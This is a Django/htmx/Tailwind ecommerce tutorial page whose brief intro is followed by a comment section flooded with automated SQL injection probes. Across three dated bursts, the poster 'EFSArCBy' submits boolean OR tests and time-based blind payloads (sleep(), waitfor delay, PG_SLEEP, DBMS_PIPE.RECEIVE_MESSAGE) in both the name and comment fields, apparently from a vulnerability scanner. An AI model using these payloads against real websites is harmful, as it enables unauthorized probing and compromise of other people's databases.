Base and front page - Django Ecommerce Website - Htmx and Tailwind

In this part, we will set up a base.html file which will be used for extension later. We will also use the base.html file for creating the front page.

On the front page, we will have a simple header with a CTA button and then we will hard code some products to show there.

Comments

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

-1 OR 2+525-525-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:37

-1 OR 2+288-288-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:37

-1' OR 2+706-706-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:37

-1' OR 2+664-664-1=0+0+0+1 or 'm1ypt7P0'='

EFSArCBy | Jul 02, 26 11:37

-1" OR 2+839-839-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:37

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:37

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:37

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:37

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:37

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555nVl6ijgo'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555-1 OR 426=(SELECT 426 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555-1) OR 581=(SELECT 581 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555-1)) OR 55=(SELECT 55 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555iyBjh859' OR 281=(SELECT 281 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555njIzyFTH') OR 856=(SELECT 856 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555jUf6UEfV')) OR 766=(SELECT 766 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:37

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555'"

EFSArCBy | Jul 02, 26 11:37

@@vQJPz

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

-1 OR 2+452-452-1=0+0+0+1 -- | Jul 02, 26 11:37

555

-1 OR 2+116-116-1=0+0+0+1 | Jul 02, 26 11:37

555

-1' OR 2+117-117-1=0+0+0+1 -- | Jul 02, 26 11:37

555

-1' OR 2+682-682-1=0+0+0+1 or 'srbrF4rP'=' | Jul 02, 26 11:37

555

-1" OR 2+723-723-1=0+0+0+1 -- | Jul 02, 26 11:37

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:37

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:37

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:37

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:37

555

EFSArCByrLg1WAY1'; waitfor delay '0:0:15' -- | Jul 02, 26 11:37

555

EFSArCByZfhs7XzE' OR 965=(SELECT 965 FROM PG_SLEEP(15))-- | Jul 02, 26 11:37

555

EFSArCByswPjnuC5') OR 703=(SELECT 703 FROM PG_SLEEP(15))-- | Jul 02, 26 11:37

555

EFSArCBy0zaFB3Jx')) OR 133=(SELECT 133 FROM PG_SLEEP(15))-- | Jul 02, 26 11:37

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy'" | Jul 02, 26 11:37

555

@@Y9zO8 | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 21, 26 12:32

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

-1 OR 2+956-956-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:33

-1 OR 2+843-843-1=0+0+0+1

EFSArCBy | Jul 21, 26 12:33

-1' OR 2+256-256-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:33

-1' OR 2+276-276-1=0+0+0+1 or '4oh7g7Ei'='

EFSArCBy | Jul 21, 26 12:33

-1" OR 2+329-329-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:33

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 21, 26 12:33

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 21, 26 12:33

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 21, 26 12:33

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 21, 26 12:33

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:33

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:33

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:33

555Rl3WzlrX'; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:33

555-1 OR 224=(SELECT 224 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555-1) OR 478=(SELECT 478 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555-1)) OR 455=(SELECT 455 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555vWMnj6u0' OR 494=(SELECT 494 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

5558Hrq5uka') OR 320=(SELECT 320 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555HdOB3OQZ')) OR 694=(SELECT 694 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 21, 26 12:33

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555'"

EFSArCBy | Jul 21, 26 12:33

@@EKacm

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

-1 OR 2+816-816-1=0+0+0+1 -- | Jul 21, 26 12:33

555

-1 OR 2+80-80-1=0+0+0+1 | Jul 21, 26 12:33

555

-1' OR 2+375-375-1=0+0+0+1 -- | Jul 21, 26 12:33

555

-1' OR 2+261-261-1=0+0+0+1 or 'lThS6RcQ'=' | Jul 21, 26 12:33

555

-1" OR 2+466-466-1=0+0+0+1 -- | Jul 21, 26 12:33

555

if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:33

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:33

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:33

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:33

555

EFSArCBylSb6pnIB'; waitfor delay '0:0:15' -- | Jul 21, 26 12:33

555

EFSArCBycEMRjNO1' OR 780=(SELECT 780 FROM PG_SLEEP(15))-- | Jul 21, 26 12:33

555

EFSArCByiHIuqRuv') OR 546=(SELECT 546 FROM PG_SLEEP(15))-- | Jul 21, 26 12:33

555

EFSArCByw8guPCus')) OR 427=(SELECT 427 FROM PG_SLEEP(15))-- | Jul 21, 26 12:33

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy'" | Jul 21, 26 12:33

555

@@1maSY | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 23, 26 03:28

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

-1 OR 2+918-918-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:29

-1 OR 2+938-938-1=0+0+0+1

EFSArCBy | Jul 23, 26 03:29

-1' OR 2+974-974-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:29

-1' OR 2+234-234-1=0+0+0+1 or 'JhgvQEis'='

EFSArCBy | Jul 23, 26 03:29

-1" OR 2+420-420-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:29

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 03:29

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 03:29

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 03:29

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 03:29

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:29

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:29

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:29

555Hva2OiMs'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:29

555-1 OR 813=(SELECT 813 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555-1) OR 381=(SELECT 381 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555-1)) OR 55=(SELECT 55 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555Q8CuMfXM' OR 250=(SELECT 250 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555Tr2rYeD1') OR 629=(SELECT 629 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555OnQGIoWg')) OR 810=(SELECT 810 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 03:29

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555'"

EFSArCBy | Jul 23, 26 03:29

@@jXhdQ

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

-1 OR 2+343-343-1=0+0+0+1 -- | Jul 23, 26 03:29

555

-1 OR 2+484-484-1=0+0+0+1 | Jul 23, 26 03:29

555

-1' OR 2+326-326-1=0+0+0+1 -- | Jul 23, 26 03:29

555

-1' OR 2+417-417-1=0+0+0+1 or 'JAOo373e'=' | Jul 23, 26 03:29

555

-1" OR 2+822-822-1=0+0+0+1 -- | Jul 23, 26 03:29

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 03:29

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 03:29

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 03:29

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 03:29

555

EFSArCBy8prh5omH'; waitfor delay '0:0:15' -- | Jul 23, 26 03:29

555

EFSArCBy60h8vcfB' OR 698=(SELECT 698 FROM PG_SLEEP(15))-- | Jul 23, 26 03:29

555

EFSArCByuDeWrGKY') OR 142=(SELECT 142 FROM PG_SLEEP(15))-- | Jul 23, 26 03:29

555

EFSArCBykGaot2bJ')) OR 810=(SELECT 810 FROM PG_SLEEP(15))-- | Jul 23, 26 03:29

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy'" | Jul 23, 26 03:29

555

@@wLcak | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.